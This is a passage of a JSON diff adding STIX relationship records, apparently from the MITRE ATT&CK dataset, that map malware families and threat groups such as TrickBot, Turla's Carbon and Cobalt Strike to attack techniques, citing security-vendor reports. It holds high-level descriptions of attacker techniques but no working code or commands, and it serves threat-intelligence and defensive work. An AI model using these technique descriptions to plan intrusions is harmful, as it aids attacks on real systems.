+ }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) can list running processes on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:09:26.736Z", + "id": "relationship--e29fa4df-f835-48e1-a83b-279818993793", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "modified": "2019-04-19T15:10:04.339Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Carbon](https://attack.mitre.org/software/S0335) creates several tasks for later execution to continue persistence on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.746Z", + "id": "relationship--185a72dd-e151-4eba-81f4-c3eeaa67873a", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.586Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses the net view command on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.168Z", + "id": "relationship--6e576576-bcd8-42ca-aa0a-8e3e24aaeafc", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:42.525Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) can use ports 443 and 53 for C2 communications via malware called TClient.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:17:49.272Z", + "id": "relationship--f3a6218e-35e3-4897-9b3b-0554a51dce43", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.109Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "[FruitFly](https://attack.mitre.org/software/S0277) saves itself with a leading \".\" to make it a hidden file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bd7dce44-be74-4d8e-b9e4-efcd77b8a29b", + "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect process information by running tasklist on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--408db284-4c7a-4ad4-8399-90a8102b4bfa", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "Some variants of [FakeM](https://attack.mitre.org/software/S0076) use SSL to communicate with C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--090813dc-b370-42e1-a211-4d9e3247968a", + "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0", + "description": "[Power Loader](https://attack.mitre.org/software/S0177) overwrites Explorer\u2019s Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--c56de8bc-ad9e-415a-8840-ae294ed4f88a", + "source_ref": "malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.", + "source_name": "MalwareTech Power Loader Aug 2013", + "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html" + }, + { + "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.", + "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013", + "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) uses HTTP over SSL to communicate commands with the control server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1be07482-c5ed-42f9-8be1-5dbb44152461", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.183Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "A [TYPEFRAME](https://attack.mitre.org/software/S0263) variant can force the compromised system to function as a proxy server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--83e001e3-95d3-43d9-9f8c-8b954686287a", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[RTM](https://attack.mitre.org/software/S0148) has the ability to remove Registry entries that it created during execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--81cfd1fd-999b-4730-b5dc-363d367dd92e", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) searches the system for all of the following file extensions: .avi, .mov, .mkv, .mpeg, .mpeg4, .mp4, .mp3, .wav, .ogg, .jpeg, .jpg, .png, .bmp, .gif, .tiff, .ico, .xlsx, and .zip. It can also obtain browsing history, cookies, and plug-in information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--caef212a-7ed2-4cb9-a155-7ce79a9784b8", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.424Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) is obscured using XOR encoding and appended to a valid GIF file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--315aab88-9b01-4a70-8f8c-173a3f29e79c", + "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.", + "source_name": "FireEye Clandestine Wolf", + "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" + }, + { + "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", + "source_name": "Palo Alto CVE-2015-3113 July 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has bypassed UAC.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8b4fd69e-a3c6-4721-9aed-d8235a93672e", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.707Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) identifies files with certain extensions and copies them to a directory in the user's profile.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9e214d5b-7d46-4135-bc42-4caab16b39d8", + "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has obfuscated code using base64 and gzip compression.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2c7d090e-09a1-4a45-baf4-b13790b483f6", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.198Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.024Z", + "id": "relationship--dd21c8fe-caf8-40df-b049-787ba465eef7", + "source_ref": "course-of-action--6cac62ce-550b-4793-8ee6-6a1b8836edb0", + "modified": "2019-07-24T19:40:27.475Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) obtains the victim's operating system version and keyboard layout and sends the information to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--272068a3-47e3-42d6-8772-71d39c1976c3", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.187Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[ISMInjector](https://attack.mitre.org/software/S0189) is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--a0500766-a6ba-4672-b7fc-2a712cd0cfca", + "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "source_name": "OilRig New Delivery Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "Commands under net user can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about and manipulate user accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--15f74597-d92d-406f-9941-c0dfef3cb609", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "modified": "2019-04-24T23:39:01.501Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "source_name": "Savill 1999", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[APT12](https://attack.mitre.org/groups/G0005) has used [RIPTIDE](https://attack.mitre.org/software/S0003), a RAT that uses HTTP to communicate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c4ce39f8-371c-45dd-a8d2-a411a6f0678d", + "source_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "source_name": "Moran 2014", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[adbupd](https://attack.mitre.org/software/S0202) can run a copy of cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d9f924ec-aa93-48fd-aef6-2e545410f2d0", + "source_ref": "malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has used PowerShell on victim systems to download and run payloads after exploitation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.057Z", + "id": "relationship--897dec92-49a8-4edd-8ed2-8082f134e42b", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.380Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) exploits CVE-2016-4117 to allow an executable to gain escalated privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--dbccbeab-26c9-476e-b529-c193f9796cbc", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6f6d6ccc-ac71-42b6-ab14-d02914d05717", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "modified": "2019-05-10T12:14:32.226Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) will timestomp any files or payloads placed on a target machine to help them blend in.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e025dccd-ead3-44d8-af26-f2c3b27667f5", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.232Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses a Launch Agent to persist.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--dbe32c8c-4bb0-44da-9350-699b09464859", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "source_name": "synack 2016 review", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can obtain passwords from FTP clients.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a628def4-31a4-475e-b4b8-615534d8d585", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "modified": "2019-06-24T19:05:41.508Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on permission groups within a domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f36a8899-940f-4c8f-924d-eef2f056744d", + "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe", + "modified": "2019-04-25T00:08:30.177Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Dsquery. Retrieved April 18, 2016.", + "source_name": "TechNet Dsquery", + "url": "https://technet.microsoft.com/en-us/library/cc732952.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can launch remote scripts on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.521Z", + "id": "relationship--6994ee91-7379-4281-8f16-85b21467bb97", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the timestamp from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": 